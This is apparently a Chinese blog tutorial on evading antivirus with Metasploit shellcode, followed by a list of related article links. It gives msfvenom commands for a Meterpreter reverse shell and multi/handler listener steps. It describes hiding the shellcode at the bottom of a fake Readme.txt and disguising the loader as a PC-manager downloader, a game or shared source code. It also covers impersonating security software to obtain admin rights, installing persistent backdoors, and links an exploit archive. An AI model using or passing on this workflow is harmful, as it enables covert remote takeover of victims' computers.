shellcode超级反杀
shellcode超级免杀
作者声明: 本文章属于作者原创,不能转载,违反网络安全法自己承担.这里只供学习使用.
日期: 2019-12-31
实验视频链接: https://www.youtube.com/watch?v=TVN3AOsgvA8&list=PLHxmmOLhBykSVS5buN9VZbhjMR-8K0e34&index=3&t=739s
我试过了电脑管家,火绒安全,McAfee,360, 但只有360使用手动云查杀时木马才能查出来  (目前所有软件都无法查杀!!!!! 2020-1-2)
从2019-12-29日早上起,我向我的PE-tools工具里写了一个功能,就是shellcode注入功能,写好之后,发现虽然shellcode能注入,但是不能免杀,于是采用各种加密技巧,还是没能逃脱火绒,我绞尽脑汁的想,使用dll注入,dll注入虽然能逃脱免杀,payload反弹时,可是不能交互了.我就采用一种更笨的方法,就是程序运行时加载一下shellcode文件,试了一下成功免杀.好废话不多说,咱们开始!!!!
效果图

演示:
环境
Kali (攻击机)
Win10 (受害机 且安装有各种杀毒软件)
WinXp (辅助机,只是用来编译源码的)
如何免杀
免杀效果其实很简单,就是程序启动后加载文件动态运行里面写好的shellcode即可.
而且还方便替换shellcode不用编译,直接替换文本文件内容即可,且还可以伪装为Readme.txt文件
可以向Readme.txt乱填入一些声明,将shellcode进行排版,以防被发现..
可以借助一些软件进行编译你的加载器,修改图标即大小,让对方毫无怀疑...
生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c
lhost后面就是我本地的ip, lport后面时指定的一个端口号.指定好之后,会生成shellcode如下图:

将生成的shellcode复制粘贴到一个文件里,你也可以直接使用
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.23.92.9 lport=5555 -f c > a.txt
那shellcode放在了a.txt文件中了,代开看也更上图一模一样.
写入shellcode:
得到shellcode之后,我先进行操作,涉及到加载器的源码,我会把它放在末尾来说:
使用我已经编译后的一个仿真电脑管家下载器,如图:

一个文件是模拟电脑管家下载器的一个软件,是我编译好的一个文件,后面我会讲它的简单原理与制作
另一个 Readme.txt就是我们放置shellcode的文件
我向Readme.txt里写入了一些东西,可以让下载的人这东西只是用来声明的,如图

使劲回车,然后将自己的shellcode复制到该文件.

这里我把shellcode藏在了该文件的底部,一般人它也只读前面,后面不会看,看到了也不知道那是啥玩意..
复制好之后,想方设法将这两个文件仍到你的目标,有很多方法,就不多说了..
实施攻击:
假如对方已经拿到了,该软件,如图:

从这里可以知道,静态的反杀已经OK,昨天使用的各种加密手段,还是没能逃脱火绒的魔抓,这个方法还可以,看一下Readme.txt

往下拉看一下shellcode:

如果觉得shellcode太显眼,你可以对它进行base64加解密就行.
在kali中输入 msfconsole
进入之后如图:

依次输入以下命令
#msf5> use exploit/multi/handler
#msf5> set payload windows/meterpreter/reverse_tcp
#msf5> set lhost ip   (这里填你的攻击机上的ip)
#msf5> set lport port (这里填生成shellcode时的端口)
#msf5> exploit -j    (后台监听)
如图:

当对方点击QQPCDownload运行时即可得到shell.

看到了一个session 开启了输入 session -i 1 (1就是开启号) 进行交互.输入sysinfo

咱们使用火绒来边扫描边控制吧...

可以看到,完全杀不到.....好了演示结束,接下来就是讲讲加载器咋写吧.
加载器咋写:
    根据网络安全法律,不公布
伪装
可以使用,extraicohs工具提取任意一个exe文件的图标,提取之后,在vc6中添加图标进行编译
然后再使用我开发的一个工具调整一下加载器的大小.

我做了几个游戏,游戏里就包含了木马,然对方直接不知道这个有病毒.还有一种方式更加伪装.
分享啥啥源码,比如我做的一个贪吃蛇游戏,若对方得到源码,只要对方编译运行,即可中招..
为了安全着想,我不分享我做的木马....,但原理我已经说了,十分简单..
可以提取如图:

使用Pe_tools增加大小, 如图:

写入到c盘,若为win10电脑,写入到其他磁盘.

实现可以控制任意一台中木马的电脑.
买一个服务器,选择debian,然后安装metasploit框架,既可以实现控制任意一台中木马的电脑....
如何获取管理员权限
    侵入对方后,看一下他的安全软件,然后使用木马冒充安全软件,在开发木马时,设置一下运行的权限为管理员即可
    然后运行该木马,这时就会出现一个管理员权限的请求,一般情况下,用户都很信任安全软件获取管理员权限,则点击是.
    然后c盘随你玩了
如何设置后门
    要想实现长期控制,就得给对方上传开机自的木马...,我已经做好了,且根据对方的杀毒软件做的一个白加黑.
    杀毒软件和使用者毫无察觉,为了不让自己进局子,我不会发给别人..
源码下载 + 测试文件:
实验工具下载: https://files-cdn.cnblogs.com/files/lyxf/exploit.zip												
											shellcode超级反杀的更多相关文章
- [原创]CobaltStrike & Metasploit  Shellcode一键免杀工具
		
CobaltStrike & Metasploit Shellcode一键免杀工具 作者: K8哥哥 图片 1个月前该工具生成的exe免杀所有杀软,现在未测应该还能过90%的杀软吧. 可选. ...
 - 面试反杀「GitHub 热点速览 v.21.33」
		
作者:HelloGitHub-小鱼干 作为一个应聘者,面试的时候经常会被面试官问:你有什么问题要问我吗?为了避免这种临时想不到问题的尴尬,reverse-interview-zh 会教你下反向操作,提 ...
 - 免杀shellcode并绕过杀毒添加自启动
		
https://www.wtfsec.org/posts/%E5%85%8D%E6%9D%80shellcode%E5%B9%B6%E7%BB%95%E8%BF%87%E6%9D%80%E6%AF%9 ...
 - 宝马男砍人不慎刀落反被杀 防卫过当or故意伤害(在生命受到威胁的情况下,已经很难判断对方意图了,而且假如于莫是老弱妇幼,可能现在死的就是于莫了)
		
如果被砍的是周律师他就不会说是防为过当吧,宝马车主跑回自己的车边时最危险,不知道他车上还有什么刀枪之类的.这如果判防卫过当,恶人会更恶,老实人连防卫都不敢了. 不知道在这个没有法治的国家会是如何判案的 ...
 - 那些shellcode免杀总结
		
首发先知: https://xz.aliyun.com/t/7170 自己还是想把一些shellcode免杀的技巧通过白话文.傻瓜式的文章把技巧讲清楚.希望更多和我一样web狗也能动手做到免杀的实现. ...
 - 网络对抗技术 20165220 Exp3 免杀原理与实践
		
实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧: 2 通过组合应用各种技术实现恶意代码免杀(1 ...
 - 2018-2019-2 网络对抗技术 20165321 Exp3 免杀原理与实践
		
1. 实践内容(4分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellco ...
 - 2018-2019-2 网络对抗技术 20165326 Exp3 免杀原理与实践
		
免杀原理与实践 目录 知识点问答 实践内容 遇到的问题 心得体会 知识点 meterpreter免杀 基础问题回答 杀软是如何检测出恶意代码的? 特征码(基于签名):模式匹配,比对特征码库 启发式:通 ...
 - 20164322韩玉婷 -----EXP3 免杀原理与实践
		
基础问题回答 1.杀软是如何检测出恶意代码的? (1)基于特征码的检测 特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串.如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码. ...
 
随机推荐
- 【算法】leetcode之 Palindrome Partitioning I&II(转载)
			
1 Palindrome Partitioning 问题来源:Palindrome Partitioning 该问题简单来说就是给定一个字符串,将字符串分成多个部分,满足每一部分都是回文串,请输出所有 ...
 - ssh scp nc
			
ssh远程连接 ssh root@192.168.111.11 scp数据传输,(secure copy) 1.下载.拉取 scp root@192.168.111.11:/root/database ...
 - React Native错误汇总(持续更新)
			
错误1 Element type is invalid-: 错误描述: Element type is invalid: expected a String(for built-in componen ...
 - oracle中的闪回
			
项目中运用: 首先说明:闪回方法有一个前提,就是需要尽早的发现问题,果断的采取行动.若误操作的记录已经在UNDO表空间中被清除,则此方法就不可行了,需要另寻他法. 例如: SELECT * FROM ...
 - TensorFlow的 卷积层
			
用 TensorFlow 做卷积 让我们用所学知识在 TensorFlow 里构建真的 CNNs.在下面的练习中,你需要设定卷积核滤波器(filters)的维度,weight,bias.这在很大程度上 ...
 - es6 promise简析
			
1.Promise的含义 所谓Promise,就是一个对象,用来传递异步操作的消息. Promise对象有以下两个特点: 对象的状态不受外界影响.Promise对象代表一个异步操作,有三种状态:Pen ...
 - selenium webdriver学习(十)------------如何把一个元素拖放到另一个元素里面(转)
			
selenium webdriver学习(十)------------如何把一个元素拖放到另一个元素里面 博客分类: Selenium-webdriver 元素拖放drag and drop Q群里 ...
 - Oracle/PLSQL存储过程详解
			
原文链接:https://blog.csdn.net/zezezuiaiya/article/details/79557621 Oracle/PLSQL存储过程详解 2018-03-14 17:31: ...
 - 本地测试读取redis和普通文件缓存的速度,redis慢一倍?
			
重新测试了,换成了Linux服务器,php5.6,512内存.连续读取1千次不同的文件(每个文件41KB),redis也是1千个不同的key,文件缓存还是比redis快! 但是,但是,后来我换成连续读 ...
 - 手写call,apply方法实现
			
call Function.prototype.myCall = function(){ var object = arguments[0]; var arr = []; for(var i = 1; ...